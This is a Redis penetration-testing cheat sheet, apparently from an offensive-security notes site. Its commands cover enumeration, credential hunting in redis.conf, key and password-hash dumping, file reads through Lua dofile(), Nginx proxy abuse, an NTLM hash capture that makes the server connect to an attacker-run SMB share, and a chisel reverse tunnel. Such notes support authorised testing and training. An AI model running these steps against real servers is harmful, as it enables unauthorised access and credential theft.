# Redis Pentesting

#### Redis is the In-Memory NoSQL Database. A default port is 6379.

### Enumeration <a href="#enumeration" id="enumeration"></a>

```shellscript
nmap --script redis-info -p 6379 <target-ip>
nmap --script redis-brute -p 6379 <target-ip>

msf> use auxiliary/scanner/redis/redis_server
```

#### Check Config File <a href="#check-config-file" id="check-config-file"></a>

If we have access to target system, find the configuration file then we may be able to get passwords.

```shellscript
find / -name "redis.conf" 2>/dev/null
grep -i pass /path/to/redis.conf
```

If we get the line with password written as below,

```shellscript
requirepass "password"
```

We can set the password in a redis client.

```shellscript
> auth "password"
```

### Connect <a href="#connect" id="connect"></a>

```shellscript
redis-cli -h <target-ip> -p 6379
# with password
redis-cli -h <target-ip> -p 6379 -a password

# using socket
redis-cli -s /path/to/redis.sock
```

After connecting and execute the first arbitrary command, we may got the following output.

```shellscript
NOAUTH Authentication required.
```

If so, we need to authenticate to communicate with the redis server.

```shellscript
> auth <password>
# or
> auth default <password>
# or
> auth <username> <password>
```

### Commands (Non-RESP Format) <a href="#commands-non-resp-format" id="commands-non-resp-format"></a>

**Non-RESP (REdis Serialization Protocol)** is such like the other protocol's command. Commands are separated with spaces.

#### Investigation <a href="#investigation" id="investigation"></a>

```shellscript
# Check credentials
> auth <username> <password>
> auth default <password>

# Set a password temporary until the service restarts.
> config set requirepass <password>

# Information on the Redis server
> info
> info keyspace

# List all
> config get *

# List all databases
> config get databases

# Select the database ('select <index>')
> select 0
> select 1
> select 12

# Read files and directories using Lua scripts
> eval "dofile('C:\\\\Users\\\\Administrator\\\\Desktop\\\\user.txt')" 0
> eval "dofile('C:\\\\Users\\\\<username>\\\\Desktop\\\\user.txt')" 0

# Find all keys
> keys *
```

#### Get Key Value <a href="#get-key-value" id="get-key-value"></a>

```shellscript
# Get the type of value
> type <key_name>

# Get all fields and values of the hash stored at key.
> hgetall <key>
# e.g.
> hgetall admin

# Get a string value
> get <key> <field>
# e.g.
> get admin email

# Get a hashed value
> hget <key> <field>
# e.g.
> hget admin password

# Get multiple hashed values associated with specified fields
> hmget <key> <field1> <field2>
# e.g.
> hmget admin email password


# type: lists
> lrange <key_name> <start> <stop>
# e.g.
> lrange "userlist" 0 0
> lrange "userlist" 0 5

# type: sets
> smembers <key_name>

# type: sorted sets
> zrangebyscore <key_name> <min> <max>

# type: stream
> xread count <count> streams <key_name> <id>
```

#### Set Key Value <a href="#set-key-value" id="set-key-value"></a>

```shellscript
# Set a hashed value in a field
> set <key> <field> <value>
# e.g.
> set admin email admin@example.com

# Set a hashed value in a field
> hset <key> <field> <value>
# e.g.
> hset admin password 286755fad04869ca523320acce0dc6a4
```

#### Insert Values <a href="#insert-values" id="insert-values"></a>

```shellscript
> lpush <key> <element>
> lpush <key> <element> <element>
> lpush <key> <element> <element> <element>
# e.g.
> lpush myword "abracadabra"
```

### Commands (RESP Format) <a href="#commands-resp-format" id="commands-resp-format"></a>

**RESP (REdis Serialization Protocol)** is The syntax is…

* **`*<num>`** The number of arguments.
* **`$<num>`** The string length of the argument.

Below is the command same as **`set name "john"`**.

```shellscript
telnet 10.0.0.1 6379
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.

*3
$3
set
$4
name
$4
john
```

### GET/SET Key Value Commands with Nginx Misconfiguration <a href="#getset-key-value-commands-with-nginx-misconfiguration" id="getset-key-value-commands-with-nginx-misconfiguration"></a>

```
location ~ /(.*)/(.*) {
    resolver 127.0.0.1; proxy_pass http://example.com/$1;
}
```

We can connect to redis socket using **`curl`** command.

```
# HSET <key> <field> <value>
curl -X "HSET" https://example.com/unix:/path/to/redis.sock:<key>%20<field>%20<value>%20/abc
```

### NTLM Hash Disclosure <a href="#ntlm-hash-disclosure" id="ntlm-hash-disclosure"></a>

In local machine, start SMB server.

```
mkdir share
sudo impacket-smbserver share ./share/ -smb2support
```

Now execute the following command in Redis client.

```
> eval "dofile('//10.0.0.1/share')" 0
```

We might get a NTLM hash in the incoming connection to the SMB server. We can see the SMB server logs in terminal.\
If the NTLM hash found, crack it.

### Port Forwarding Redis Server to Local Machine <a href="#port-forwarding-redis-server-to-local-machine" id="port-forwarding-redis-server-to-local-machine"></a>

In local machine,

```
chisel server -p 9001 --reverse
```

In target machine,

```
./chisel client <local-ip>:9001 R:6379:127.0.0.1:6379
```
